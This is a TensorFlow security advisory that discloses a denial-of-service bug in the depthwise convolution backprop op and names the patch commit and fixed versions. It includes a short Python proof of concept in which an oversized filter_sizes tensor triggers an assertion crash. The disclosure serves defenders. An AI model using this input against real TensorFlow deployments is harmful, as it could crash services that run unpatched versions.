Description
Impact
The implementation of depthwise ops in TensorFlow is vulnerable to a denial of service via `CHECK`-failure (assertion failure) caused by overflowing the number of elements in a tensor:
```python
import tensorflow as tf
input = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)
filter_sizes = tf.constant(1879048192, shape=[13], dtype=tf.int32)
out_backprop = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)
tf.raw_ops.DepthwiseConv2dNativeBackpropFilter(
input=input, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 1, 1, 1], padding="SAME")
```
This is another instance of TFSA-2021-198 (CVE-2021-41197).
Patches
We have patched the issue in GitHub commit 3796cc4fcd93ae55812a457abc96dcd55fbb854b.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
